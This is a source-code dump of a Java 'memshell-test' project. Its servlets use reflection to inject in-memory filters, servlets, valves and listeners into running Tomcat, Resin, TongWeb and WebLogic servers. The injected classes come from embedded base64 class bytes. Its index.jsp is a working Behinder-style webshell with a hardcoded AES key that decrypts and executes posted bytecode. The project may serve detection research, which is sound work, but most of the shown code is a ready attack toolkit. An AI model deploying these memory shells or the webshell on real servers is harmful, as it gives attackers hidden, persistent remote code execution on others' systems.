5zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 17 | 18 | 19 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 20 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 21 | BASE64Decoder base64Decoder = new BASE64Decoder(); 22 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 23 | 24 | Method method = null; 25 | Class clz = loader.getClass(); 26 | while (method == null && clz != Object.class) { 27 | try { 28 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 29 | } catch (NoSuchMethodException ex) { 30 | clz = clz.getSuperclass(); 31 | } 32 | } 33 | 34 | if (method != null) { 35 | method.setAccessible(true); 36 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 37 | } 38 | 39 | return null; 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-resin/src/org/su18/memshell/test/resin/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.resin; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class IndexServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 16 | String message = "resin index servlet test"; 17 | String id = req.getParameter("id"); 18 | 19 | StringBuilder sb = new StringBuilder(); 20 | sb.append(message); 21 | if (id != null && !id.isEmpty()) { 22 | sb.append("\nid: ").append(id); 23 | } 24 | 25 | resp.getWriter().println(sb); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-resin/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | IndexServlet 7 | org.su18.memshell.test.resin.IndexServlet 8 | 9 | 10 | 11 | AddResinServlet 12 | org.su18.memshell.test.resin.AddResinServlet 13 | 14 | 15 | 16 | AddResinFilter 17 | org.su18.memshell.test.resin.AddResinFilter 18 | 19 | 20 | 21 | IndexServlet 22 | /index 23 | 24 | 25 | 26 | AddResinServlet 27 | /addResinServlet 28 | 29 | 30 | 31 | AddResinFilter 32 | /addResinFilter 33 | 34 | 35 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/AddTomcatFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tomcat; 2 | 3 | import org.apache.catalina.core.ApplicationFilterConfig; 4 | import org.apache.catalina.core.StandardContext; 5 | import org.apache.tomcat.util.descriptor.web.FilterDef; 6 | import org.apache.tomcat.util.descriptor.web.FilterMap; 7 | 8 | import javax.servlet.DispatcherType; 9 | import javax.servlet.Filter; 10 | import javax.servlet.ServletContext; 11 | import javax.servlet.ServletException; 12 | import javax.servlet.http.HttpServlet; 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.io.IOException; 16 | import java.io.PrintWriter; 17 | import java.lang.reflect.Constructor; 18 | import java.lang.reflect.Field; 19 | import java.lang.reflect.Method; 20 | import java.util.HashMap; 21 | 22 | import static org.su18.memshell.test.tomcat.DynamicUtils.FILTER_CLASS_STRING; 23 | 24 | /** 25 | * 访问这个 Servlet 将会动态添加自定义 Filter 26 | * 测试版本 Tomcat 8.5.31 27 | * Tomcat 7 包位置不同 28 | * import org.apache.catalina.deploy.FilterDef; 29 | * import org.apache.catalina.deploy.FilterMap; 30 | * 31 | * @author su18 32 | */ 33 | public class AddTomcatFilter extends HttpServlet { 34 | 35 | @Override 36 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 37 | 38 | try { 39 | 40 | String filterName = "su18Filter"; 41 | 42 | // 从 request 中获取 servletContext 43 | ServletContext servletContext = req.getServletContext(); 44 | 45 | // 如果已有此 filterName 的 Filter,则不再重复添加 46 | if (servletContext.getFilterRegistration(filterName) == null) { 47 | 48 | StandardContext o = null; 49 | 50 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 51 | while (o == null) { 52 | Field f = servletContext.getClass().getDeclaredField("context"); 53 | f.setAccessible(true); 54 | Object object = f.get(servletContext); 55 | 56 | if (object instanceof ServletContext) { 57 | servletContext = (ServletContext) object; 58 | } else if (object instanceof StandardContext) { 59 | o = (StandardContext) object; 60 | } 61 | } 62 | 63 | // 创建自定义 Filter 对象 64 | Class filterClass = DynamicUtils.getClass(FILTER_CLASS_STRING); 65 | 66 | // 创建 FilterDef 对象 67 | FilterDef filterDef = new FilterDef(); 68 | filterDef.setFilterName(filterName); 69 | filterDef.setFilter((Filter) filterClass.newInstance()); 70 | filterDef.setFilterClass(filterClass.getName()); 71 | 72 | // 创建 ApplicationFilterConfig 对象 73 | Constructor[] constructor = ApplicationFilterConfig.class.getDeclaredConstructors(); 74 | constructor[0].setAccessible(true); 75 | ApplicationFilterConfig config = (ApplicationFilterConfig) constructor[0].newInstance(o, filterDef); 76 | 77 | // 创建 FilterMap 对象 78 | FilterMap filterMap = new FilterMap(); 79 | filterMap.setFilterName(filterName); 80 | filterMap.addURLPattern("*"); 81 | filterMap.setDispatcher(DispatcherType.REQUEST.name()); 82 | 83 | 84 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中 85 | Field filterConfigsField = o.getClass().getDeclaredField("filterConfigs"); 86 | filterConfigsField.setAccessible(true); 87 | HashMap filterConfigs = (HashMap) filterConfigsField.get(o); 88 | filterConfigs.put(filterName, config); 89 | 90 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中 91 | Field filterMapField = o.getClass().getDeclaredField("filterMaps"); 92 | filterMapField.setAccessible(true); 93 | Object object = filterMapField.get(o); 94 | 95 | Class cl = Class.forName("org.apache.catalina.core.StandardContext$ContextFilterMaps"); 96 | // addBefore 将 filter 放在第一位 97 | Method m = cl.getDeclaredMethod("addBefore", FilterMap.class); 98 | // Method m = cl.getDeclaredMethod("add", FilterMap.class); 99 | m.setAccessible(true); 100 | m.invoke(object, filterMap); 101 | 102 | PrintWriter writer = resp.getWriter(); 103 | writer.println("tomcat filter added"); 104 | 105 | } 106 | } catch (Exception e) { 107 | e.printStackTrace(); 108 | } 109 | 110 | 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/AddTomcatListener.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tomcat; 2 | 3 | import org.apache.catalina.core.StandardContext; 4 | 5 | import javax.servlet.ServletContext; 6 | import javax.servlet.ServletException; 7 | import javax.servlet.http.HttpServlet; 8 | import javax.servlet.http.HttpServletRequest; 9 | import javax.servlet.http.HttpServletResponse; 10 | import java.io.IOException; 11 | import java.lang.reflect.Field; 12 | 13 | import static org.su18.memshell.test.tomcat.DynamicUtils.LISTENER_CLASS_STRING; 14 | 15 | /** 16 | * 访问这个 Servlet 将会动态添加自定义 Listener 17 | * 测试版本 Tomcat 8.5.31 18 | * 19 | * @author su18 20 | */ 21 | public class AddTomcatListener extends HttpServlet { 22 | 23 | @Override 24 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 25 | 26 | ServletContext servletContext = req.getServletContext(); 27 | 28 | StandardContext o = null; 29 | 30 | try { 31 | 32 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 33 | while (o == null) { 34 | Field f = servletContext.getClass().getDeclaredField("context"); 35 | f.setAccessible(true); 36 | Object object = f.get(servletContext); 37 | 38 | if (object instanceof ServletContext) { 39 | servletContext = (ServletContext) object; 40 | } else if (object instanceof StandardContext) { 41 | o = (StandardContext) object; 42 | } 43 | } 44 | 45 | // 添加监听器 46 | o.addApplicationEventListener(DynamicUtils.getClass(LISTENER_CLASS_STRING).newInstance()); 47 | 48 | resp.getWriter().println("tomcat listener added"); 49 | 50 | } catch (Exception e) { 51 | e.printStackTrace(); 52 | } 53 | 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/AddTomcatServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tomcat; 2 | 3 | import org.apache.catalina.Wrapper; 4 | import org.apache.catalina.core.StandardContext; 5 | 6 | import javax.servlet.Servlet; 7 | import javax.servlet.ServletContext; 8 | import javax.servlet.ServletException; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.IOException; 13 | import java.io.PrintWriter; 14 | import java.lang.reflect.Field; 15 | 16 | import static org.su18.memshell.test.tomcat.DynamicUtils.SERVLET_CLASS_STRING; 17 | 18 | 19 | /** 20 | * 访问这个 Servlet 将会动态添加自定义 Servlet 21 | * 测试版本 Tomcat 8.5.31 22 | * 23 | * @author su18 24 | */ 25 | public class AddTomcatServlet extends HttpServlet { 26 | 27 | @Override 28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 29 | 30 | try { 31 | 32 | String servletName = "su18Servlet"; 33 | 34 | // 从 request 中获取 servletContext 35 | ServletContext servletContext = req.getServletContext(); 36 | 37 | // 如果已有此 servletName 的 Servlet,则不再重复添加 38 | if (servletContext.getServletRegistration(servletName) == null) { 39 | 40 | StandardContext o = null; 41 | 42 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 43 | while (o == null) { 44 | Field f = servletContext.getClass().getDeclaredField("context"); 45 | f.setAccessible(true); 46 | Object object = f.get(servletContext); 47 | 48 | if (object instanceof ServletContext) { 49 | servletContext = (ServletContext) object; 50 | } else if (object instanceof StandardContext) { 51 | o = (StandardContext) object; 52 | } 53 | } 54 | 55 | // 创建自定义 Servlet 56 | Class servletClass = DynamicUtils.getClass(SERVLET_CLASS_STRING); 57 | 58 | // 使用 Wrapper 封装 Servlet 59 | Wrapper wrapper = o.createWrapper(); 60 | wrapper.setName(servletName); 61 | wrapper.setLoadOnStartup(1); 62 | wrapper.setServlet((Servlet) servletClass.newInstance()); 63 | wrapper.setServletClass(servletClass.getName()); 64 | 65 | // 向 children 中添加 wrapper 66 | o.addChild(wrapper); 67 | 68 | // 添加 servletMappings 69 | o.addServletMapping("/su18", servletName); 70 | 71 | PrintWriter writer = resp.getWriter(); 72 | writer.println("tomcat servlet added"); 73 | 74 | } 75 | } catch (Exception e) { 76 | e.printStackTrace(); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/AddTomcatValve.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tomcat; 2 | 3 | import org.apache.catalina.Valve; 4 | import org.apache.catalina.core.StandardContext; 5 | 6 | import javax.servlet.ServletContext; 7 | import javax.servlet.ServletException; 8 | import javax.servlet.http.HttpServlet; 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.io.IOException; 12 | import java.lang.reflect.Field; 13 | 14 | import static org.su18.memshell.test.tomcat.DynamicUtils.VALVE_CLASS_STRING; 15 | 16 | /** 17 | * 访问这个 Servlet 将会动态添加自定义 Valve 18 | * 测试版本 Tomcat 8.5.31 19 | * 20 | * @author su18 21 | */ 22 | public class AddTomcatValve extends HttpServlet { 23 | 24 | @Override 25 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 26 | 27 | try { 28 | 29 | // 从 request 中获取 servletContext 30 | ServletContext servletContext = req.getServletContext(); 31 | 32 | // 如果已有此 servletName 的 Servlet,则不再重复添加 33 | StandardContext o = null; 34 | 35 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 36 | while (o == null) { 37 | Field f = servletContext.getClass().getDeclaredField("context"); 38 | f.setAccessible(true); 39 | Object object = f.get(servletContext); 40 | 41 | if (object instanceof ServletContext) { 42 | servletContext = (ServletContext) object; 43 | } else if (object instanceof StandardContext) { 44 | o = (StandardContext) object; 45 | } 46 | } 47 | 48 | // 添加自定义 Valve 49 | o.addValve((Valve) DynamicUtils.getClass(VALVE_CLASS_STRING).newInstance()); 50 | 51 | resp.getWriter().println("tomcat valve added"); 52 | 53 | } catch (Exception e) { 54 | e.printStackTrace(); 55 | } 56 | 57 | } 58 | 59 | } 60 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/Generate.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tomcat; 2 | 3 | import sun.misc.BASE64Encoder; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.FileInputStream; 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | 10 | /** 11 | * @author su18 12 | */ 13 | public class Generate { 14 | 15 | public static void main(String[] args) throws IOException { 16 | FileInputStream fileInputStream = new FileInputStream("/Users/phoebe/IdeaProjects/MemoryShell/out/production/memshell-test-glassfish/org/su18/memshell/test/glassfish/TestGrizzlyFilter.class"); 17 | byte[] bytes = toByteArray(fileInputStream); 18 | BASE64Encoder encoder = new BASE64Encoder(); 19 | System.out.println(encoder.encode(bytes).replace("\n", "")); 20 | 21 | 22 | } 23 | 24 | public static byte[] toByteArray(InputStream input) throws IOException { 25 | ByteArrayOutputStream output = new ByteArrayOutputStream(); 26 | byte[] buffer = new byte[10240]; 27 | int n = 0; 28 | while (-1 != (n = input.read(buffer))) { 29 | output.write(buffer, 0, n); 30 | } 31 | return output.toByteArray(); 32 | } 33 | 34 | } 35 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tomcat; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class IndexServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 16 | String message = "tomcat index servlet test"; 17 | String id = req.getParameter("id"); 18 | 19 | StringBuilder sb = new StringBuilder(); 20 | sb.append(message); 21 | if (id != null && !id.isEmpty()) { 22 | sb.append("\nid: ").append(id); 23 | } 24 | 25 | resp.getWriter().println(sb); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/src/org/su18/memshell/test/tomcat/QueryStringServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tomcat; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class QueryStringServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 16 | resp.getWriter().println(req.getQueryString()); 17 | } 18 | 19 | } 20 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | IndexServlet 10 | org.su18.memshell.test.tomcat.IndexServlet 11 | 12 | 13 | 14 | 15 | QuertStringServlet 16 | org.su18.memshell.test.tomcat.QueryStringServlet 17 | 18 | 19 | 20 | IndexServlet 21 | /index 22 | 23 | 24 | 25 | 26 | QuertStringServlet 27 | /query 28 | 29 | 30 | 31 | AddTomcatListener 32 | org.su18.memshell.test.tomcat.AddTomcatListener 33 | 34 | 35 | 36 | AddTomcatFilterServlet 37 | org.su18.memshell.test.tomcat.AddTomcatFilter 38 | 39 | 40 | 41 | AddTomcatServlet 42 | org.su18.memshell.test.tomcat.AddTomcatServlet 43 | 44 | 45 | 46 | AddTomcatValve 47 | org.su18.memshell.test.tomcat.AddTomcatValve 48 | 49 | 50 | 51 | AddTomcatFilterServlet 52 | /addTomcatFilter 53 | 54 | 55 | 56 | AddTomcatServlet 57 | /addTomcatServlet 58 | 59 | 60 | 61 | AddTomcatListener 62 | /addTomcatListener 63 | 64 | 65 | 66 | AddTomcatValve 67 | /addTomcatValve 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tomcat/web/index.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> -------------------------------------------------------------------------------- /memshell-test/memshell-test-tongweb/src/org/su18/memshell/test/tongweb/AddTongWebServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tongweb; 2 | 3 | import com.tongweb.catalina.Wrapper; 4 | import com.tongweb.catalina.core.StandardContext; 5 | 6 | import javax.servlet.Servlet; 7 | import javax.servlet.ServletContext; 8 | import javax.servlet.ServletException; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.IOException; 13 | import java.io.PrintWriter; 14 | import java.lang.reflect.Field; 15 | 16 | import static org.su18.memshell.test.tongweb.DynamicUtils.SERVLET_CLASS_STRING; 17 | 18 | /** 19 | * TongWeb ≈ Tomcat 20 | * 亲测有效 21 | * 测试版本 TongWeb 7.0.25 22 | * 23 | * @author su18 24 | */ 25 | public class AddTongWebServlet extends HttpServlet { 26 | 27 | @Override 28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 29 | 30 | try { 31 | 32 | String servletName = "su18TongWebServlet"; 33 | 34 | // 从 request 中获取 servletContext 35 | ServletContext servletContext = req.getServletContext(); 36 | 37 | // 如果已有此 servletName 的 Servlet,则不再重复添加 38 | if (servletContext.getServletRegistration(servletName) == null) { 39 | 40 | StandardContext o = null; 41 | 42 | // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象 43 | while (o == null) { 44 | Field f = servletContext.getClass().getDeclaredField("context"); 45 | f.setAccessible(true); 46 | Object object = f.get(servletContext); 47 | 48 | if (object instanceof ServletContext) { 49 | servletContext = (ServletContext) object; 50 | } else if (object instanceof StandardContext) { 51 | o = (StandardContext) object; 52 | } 53 | } 54 | 55 | // 创建自定义 Servlet 56 | Class servletClass = DynamicUtils.getClass(SERVLET_CLASS_STRING); 57 | 58 | // 使用 Wrapper 封装 Servlet 59 | Wrapper wrapper = o.createWrapper(); 60 | wrapper.setName(servletName); 61 | wrapper.setLoadOnStartup(1); 62 | wrapper.setServlet((Servlet) servletClass.newInstance()); 63 | wrapper.setServletClass(servletClass.getName()); 64 | 65 | // 向 children 中添加 wrapper 66 | o.addChild(wrapper); 67 | 68 | // 添加 servletMappings 69 | o.addServletMapping("/su18", servletName); 70 | 71 | PrintWriter writer = resp.getWriter(); 72 | writer.println("tongweb servlet added"); 73 | 74 | } 75 | } catch (Exception e) { 76 | e.printStackTrace(); 77 | } 78 | } 79 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-tongweb/src/org/su18/memshell/test/tongweb/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tongweb; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | public static String SERVLET_CLASS_STRING = "yv66vgAAADQANAoABgAjCwAkACUIACYKACcAKAcAKQcAKgcAKwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQArTG9yZy9zdTE4L21lbXNoZWxsL3Rlc3QvdG9tY2F0L1Rlc3RTZXJ2bGV0OwEABGluaXQBACAoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEADXNlcnZsZXRDb25maWcBAB1MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEACkV4Y2VwdGlvbnMHACwBABBnZXRTZXJ2bGV0Q29uZmlnAQAfKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7BwAtAQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAQVGVzdFNlcnZsZXQuamF2YQwACAAJBwAuDAAvADABAARzdTE4BwAxDAAyADMBAClvcmcvc3UxOC9tZW1zaGVsbC90ZXN0L3RvbWNhdC9UZXN0U2VydmxldAEAEGphdmEvbGFuZy9PYmplY3QBABVqYXZheC9zZXJ2bGV0L1NlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAEABwAAAAYAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAIACgAAADUAAAACAAAAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAWAAIAAAABAA0ADgAAAAAAAQARABIAAQATAAAABAABABQAAQAVABYAAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAASAAwAAAAMAAEAAAACAA0ADgAAAAEAFwAYAAIACgAAAE4AAgADAAAADCy5AAIBABIDtgAEsQAAAAIACwAAAAoAAgAAABcACwAYAAwAAAAgAAMAAAAMAA0ADgAAAAAADAAZABoAAQAAAAwAGwAcAAIAEwAAAAYAAgAUAB0AAQAeAB8AAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAAcAAwAAAAMAAEAAAACAA0ADgAAAAEAIAAJAAEACgAAACsAAAABAAAAAbEAAAACAAsAAAAGAAEAAAAiAAwAAAAMAAEAAAABAA0ADgAAAAEAIQAAAAIAIg=="; 15 | 16 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 17 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 18 | BASE64Decoder base64Decoder = new BASE64Decoder(); 19 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 20 | 21 | Method method = null; 22 | Class clz = loader.getClass(); 23 | while (method == null && clz != Object.class) { 24 | try { 25 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 26 | } catch (NoSuchMethodException ex) { 27 | clz = clz.getSuperclass(); 28 | } 29 | } 30 | 31 | if (method != null) { 32 | method.setAccessible(true); 33 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 34 | } 35 | 36 | return null; 37 | 38 | } 39 | 40 | } 41 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tongweb/src/org/su18/memshell/test/tongweb/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.tongweb; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * 东方通中间件 TongWeb 测试 11 | * 12 | * @author su18 13 | */ 14 | public class IndexServlet extends HttpServlet { 15 | 16 | @Override 17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 18 | String message = "tongweb index servlet test"; 19 | String id = req.getParameter("id"); 20 | 21 | StringBuilder sb = new StringBuilder(); 22 | sb.append(message); 23 | if (id != null && !id.isEmpty()) { 24 | sb.append("\nid: ").append(id); 25 | } 26 | 27 | resp.getWriter().println(sb); 28 | } 29 | } 30 | 31 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-tongweb/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | IndexServlet 8 | org.su18.memshell.test.tongweb.IndexServlet 9 | 10 | 11 | 12 | AddTongWebServlet 13 | org.su18.memshell.test.tongweb.AddTongWebServlet 14 | 15 | 16 | 17 | IndexServlet 18 | /index 19 | 20 | 21 | 22 | AddTongWebServlet 23 | /addTongWebServlet 24 | 25 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-weblogic/src/org/su18/memshell/test/weblogic/AddWeblogicFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.weblogic; 2 | 3 | import weblogic.servlet.internal.FilterManager; 4 | import weblogic.servlet.internal.WebAppServletContext; 5 | import weblogic.servlet.utils.ServletMapping; 6 | import weblogic.utils.collections.MatchMap; 7 | 8 | import javax.servlet.http.HttpServlet; 9 | import javax.servlet.http.HttpServletRequest; 10 | import javax.servlet.http.HttpServletResponse; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.Method; 13 | import java.util.ArrayList; 14 | import java.util.Map; 15 | 16 | import static org.su18.memshell.test.weblogic.DynamicUtils.FILTER_CLASS_STRING; 17 | 18 | /** 19 | * 来自项目 https://github.com/feihong-cs/memShell 20 | * 亲测有效 21 | * 测试版本 WebLogic 12.2.1.3.0 22 | * 23 | * @author su18 24 | */ 25 | public class AddWeblogicFilter extends HttpServlet { 26 | 27 | @Override 28 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 29 | 30 | //为了兼容低版本的 weblgoic,所以有些逻辑(如排序)没法利用现成的 api,因为老版本不持 31 | try { 32 | String filterName = "dynamicFilter1"; 33 | String urlPattern = "/*"; 34 | 35 | Field contextField = req.getClass().getDeclaredField("context"); 36 | contextField.setAccessible(true); 37 | WebAppServletContext servletContext = (WebAppServletContext) contextField.get(req); 38 | FilterManager filterManager = servletContext.getFilterManager(); 39 | 40 | // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载 41 | if (!filterManager.isFilterRegistered(filterName)) { 42 | 43 | //将 Filter 注册进 FilterManager 44 | //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers 45 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 46 | registerFilterMethod.setAccessible(true); 47 | registerFilterMethod.invoke(filterManager, filterName, DynamicUtils.getClass(FILTER_CLASS_STRING).getName(), new String[]{urlPattern}, null, null, null); 48 | 49 | 50 | //将我们添加的 Filter 移动到 FilterChian 的第一位 51 | Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList"); 52 | filterPatternListField.setAccessible(true); 53 | ArrayList filterPatternList = (ArrayList) filterPatternListField.get(filterManager); 54 | 55 | 56 | //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常 57 | for (int i = 0; i < filterPatternList.size(); i++) { 58 | Object filterPattern = filterPatternList.get(i); 59 | Field f = filterPattern.getClass().getDeclaredField("map"); 60 | f.setAccessible(true); 61 | ServletMapping mapping = (ServletMapping) f.get(filterPattern); 62 | 63 | f = mapping.getClass().getSuperclass().getDeclaredField("matchMap"); 64 | f.setAccessible(true); 65 | MatchMap matchMap = (MatchMap) f.get(mapping); 66 | 67 | Object result = matchMap.match(urlPattern); 68 | if (result != null && result.toString().contains(urlPattern)) { 69 | Object temp = filterPattern; 70 | filterPatternList.set(i, filterPatternList.get(0)); 71 | filterPatternList.set(0, temp); 72 | break; 73 | } 74 | } 75 | 76 | resp.getWriter().println("weblogic filter added"); 77 | } 78 | } catch (Exception e) { 79 | e.printStackTrace(); 80 | } 81 | } 82 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-weblogic/src/org/su18/memshell/test/weblogic/DynamicUtils.java: 